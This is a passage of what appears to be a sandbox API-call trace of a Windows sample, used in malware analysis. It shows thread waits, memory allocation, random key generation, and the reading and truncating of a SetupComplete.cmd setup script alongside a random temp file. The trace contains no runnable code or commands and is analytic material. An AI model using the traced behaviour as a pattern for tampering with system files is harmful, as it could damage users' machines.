[170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0077.554] ResumeThread (hThread=0x164) returned 0x1
	[0077.554] CloseHandle (hObject=0x164) returned 1
	[0077.554] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.597] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.645] SetEvent (hEvent=0x188) returned 1
	[0077.645] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.688] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.813] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.852] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.939] SetEvent (hEvent=0xd4) returned 1
	[0077.939] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0077.979] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.019] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.056] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.094] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.133] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.176] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.214] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.253] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.291] SetEvent (hEvent=0xf0) returned 1
	[0078.291] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.342] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.418] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.463] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.501] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.550] SetEvent (hEvent=0xf0) returned 1
	[0078.550] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.590] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.643] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.686] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.772] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.818] SetEvent (hEvent=0xd4) returned 1
	[0078.818] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.954] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0078.993] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0079.034] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0079.072] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0079.113] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.113] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x27b) returned 0x0
	[0079.299] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.299] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0079.337] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.337] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x19c) returned 0x0
	[0079.386] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.386] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0079.422] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0079.422] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x146) returned 0x102
	[0079.797] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0079.797] SetEvent (hEvent=0xf0) returned 1
	[0079.797] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0081.057] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0081.589] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0082.198] SetEvent (hEvent=0xd4) returned 1
	[0082.198] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0082.539] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0082.682] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0082.782] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0082.846] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0082.945] SetEvent (hEvent=0xd4) returned 1
	[0082.945] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0082.997] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.048] SetEvent (hEvent=0xf0) returned 1
	[0083.048] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.095] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.140] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.186] SetEvent (hEvent=0xfc) returned 1
	[0083.186] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.238] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.294] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.357] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.410] SetEvent (hEvent=0xd4) returned 1
	[0083.410] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.503] SetEvent (hEvent=0xf0) returned 1
	[0083.503] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.544] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.568] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.716] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.796] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0083.872] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.035] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.035] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x5b) returned 0x0
	[0084.133] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.134] SetEvent (hEvent=0xfc) returned 1
	[0084.134] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.198] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.204] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.229] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.280] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.287] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.300] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.310] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.310] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x1e7) returned 0x0
	[0084.316] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.316] SetEvent (hEvent=0xfc) returned 1
	[0084.316] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.328] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.368] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.368] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x1ae) returned 0x0
	[0084.432] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.433] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.445] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.548] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.659] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0084.659] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x8a) returned 0x0
	[0084.774] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0084.775] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.806] SetEvent (hEvent=0xf0) returned 1
	[0084.806] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.813] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.826] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.859] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.863] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.874] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.877] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x32) returned 0x102
	[0084.992] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0084.996] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.000] SetEvent (hEvent=0x188) returned 1
	[0085.000] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.004] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.005] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0085.058] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.062] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x21) returned 0x102
	[0085.197] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.274] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.330] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.378] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.426] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.479] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.558] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.598] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.641] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0085.681] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.724] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.779] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.823] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.863] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0085.968] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.011] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.051] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x11) returned 0x102
	[0086.084] SetEvent (hEvent=0xfc) returned 1
	[0086.084] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.102] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.115] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.117] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.121] SetEvent (hEvent=0x188) returned 1
	[0086.121] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.123] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.127] SetEvent (hEvent=0x188) returned 1
	[0086.127] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.129] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0086.130] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x4a) returned 0x102
	[0086.209] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0086.210] SetEvent (hEvent=0xfc) returned 1
	[0086.210] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.215] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.216] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0086.220] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.221] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0086.221] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x49) returned 0x102
	[0086.303] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0086.303] SetEvent (hEvent=0xf0) returned 1
	[0086.303] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.305] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0086.305] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0086.307] SetEvent (hEvent=0x188) returned 1
	[0086.307] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.312] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.315] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0086.315] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x40) returned 0x102
	[0086.396] timeBeginPeriod (uPeriod=0x1) returned 0x0
	[0086.396] SetEvent (hEvent=0xfc) returned 1
	[0086.396] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.398] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0x1) returned 0x102
	[0086.403] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.408] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.413] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0x92ffff6e0) returned 0x102
	[0086.414] timeEndPeriod (uPeriod=0x1) returned 0x0
	[0086.414] WaitForMultipleObjects (nCount=0x2, lpHandles=0x92ffff668*=0x120, bWaitAll=0, dwMilliseconds=0xea60) 

Thread:
	id = 4
	os_tid = 0x1128

	[0049.735] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xfffffffffffffffe, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x9301ffbf0, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x9301ffbf0*=0xe0) returned 1
	[0049.735] VirtualQuery (in: lpAddress=0x9301ffc10, lpBuffer=0x9301ffc10, dwLength=0x30 | out: lpBuffer=0x9301ffc10*(BaseAddress=0x9301ff000, AllocationBase=0x930000000, AllocationProtect=0x4, __alignment1=0x1, RegionSize=0x1000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30
	[0049.735] VirtualAlloc (lpAddress=0x0, dwSize=0x40000, flAllocationType=0x3000, flProtect=0x4) returned 0x1619f5c0000
	[0049.736] VirtualAlloc (lpAddress=0xc000080000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000080000
	[0049.736] VirtualAlloc (lpAddress=0xc000082000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000082000
	[0049.736] VirtualAlloc (lpAddress=0xc000084000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000084000
	[0049.736] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x929bc0, lpParameter=0xc000080000, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xe4
	[0049.737] CloseHandle (hObject=0xe4) returned 1
	[0049.737] SetEvent (hEvent=0xd4) returned 1
	[0049.737] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe4
	[0049.737] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0xe8
	[0049.737] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0050.559] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0050.656] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0050.681] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0050.684] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0051.374] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0051.455] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0051.769] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0053.202] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0055.350] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0055.429] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0055.490] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0055.517] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0062.316] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0062.442] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0062.618] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.552] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0067.711] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.257] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0069.539] WriteFile (in: hFile=0x0, lpBuffer=0xc000140240, nNumberOfBytesToWrite=0x36, lpNumberOfBytesWritten=0xc000185d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000185d94, lpOverlapped=0x0) returned 0
	[0069.539] WriteFile (in: hFile=0x0, lpBuffer=0xc00014c6c0, nNumberOfBytesToWrite=0x88, lpNumberOfBytesWritten=0xc000185d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000185d94, lpOverlapped=0x0) returned 0
	[0069.540] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x13c
	[0069.540] GetConsoleMode (in: hConsoleHandle=0x13c, lpMode=0xc000185bf4 | out: lpMode=0xc000185bf4) returned 0
	[0069.540] GetFileType (hFile=0x13c) returned 0x1
	[0069.540] GetFileType (hFile=0x13c) returned 0x1
	[0069.540] GetFileInformationByHandle (in: hFile=0x13c, lpFileInformation=0xc000185c44 | out: lpFileInformation=0xc000185c44) returned 1
	[0069.540] GetFileInformationByHandleEx (in: hFile=0x13c, FileInformationClass=0x9, lpFileInformation=0xc000185c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000185c28) returned 1
	[0069.540] VirtualAlloc (lpAddress=0xc00017e000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc00017e000
	[0069.540] ReadFile (in: hFile=0x13c, lpBuffer=0xc00017e000, nNumberOfBytesToRead=0x333, lpNumberOfBytesRead=0xc000185b04, lpOverlapped=0x0 | out: lpBuffer=0xc00017e000*, lpNumberOfBytesRead=0xc000185b04*=0x133, lpOverlapped=0x0) returned 1
	[0069.542] ReadFile (in: hFile=0x13c, lpBuffer=0xc00017e133, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000185b04, lpOverlapped=0x0 | out: lpBuffer=0xc00017e133*, lpNumberOfBytesRead=0xc000185b04*=0x0, lpOverlapped=0x0) returned 1
	[0069.542] CloseHandle (hObject=0x13c) returned 1
	[0069.542] VirtualAlloc (lpAddress=0xc000280000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000280000
	[0069.543] GetProcAddress (hModule=0x7ffce91d0000, lpProcName="CryptAcquireContextW") returned 0x7ffce91e5a10
	[0069.543] CryptAcquireContextW (in: phProv=0xc000092148, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0xc000092148*=0x1619f3abfb0) returned 1
	[0070.303] GetProcAddress (hModule=0x7ffce91d0000, lpProcName="CryptGenRandom") returned 0x7ffce91e6020
	[0070.303] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000108ec0 | out: pbBuffer=0xc000108ec0) returned 1
	[0070.303] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x10, pbBuffer=0xc000100c10 | out: pbBuffer=0xc000100c10) returned 1
	[0070.304] CryptGenRandom (in: hProv=0x1619f3abfb0, dwLen=0x20, pbBuffer=0xc000162101 | out: pbBuffer=0xc000162101) returned 1
	[0070.304] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4c15fb622022805c2fdb3c4017380631" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4c15fb622022805c2fdb3c4017380631"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.305] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000287c04 | out: lpMode=0xc000287c04) returned 0
	[0070.305] GetFileType (hFile=0x164) returned 0x1
	[0070.305] WriteFile (in: hFile=0x164, lpBuffer=0xc00013f440*, nNumberOfBytesToWrite=0x233, lpNumberOfBytesWritten=0xc000287bec, lpOverlapped=0x0 | out: lpBuffer=0xc00013f440*, lpNumberOfBytesWritten=0xc000287bec*=0x233, lpOverlapped=0x0) returned 1
	[0070.306] CloseHandle (hObject=0x164) returned 1
	[0070.307] CreateFileW (lpFileName="C:\\$GetCurrent\\SafeOS\\SetupComplete.cmd" (normalized: "c:\\$getcurrent\\safeos\\setupcomplete.cmd"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x164
	[0070.308] GetConsoleMode (in: hConsoleHandle=0x164, lpMode=0xc000287d74 | out: lpMode=0xc000287d74) returned 0
	[0070.308] GetFileType (hFile=0x164) returned 0x1
	[0070.308] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\4c15fb622022805c2fdb3c4017380631" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\4c15fb622022805c2fdb3c4017380631"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x178
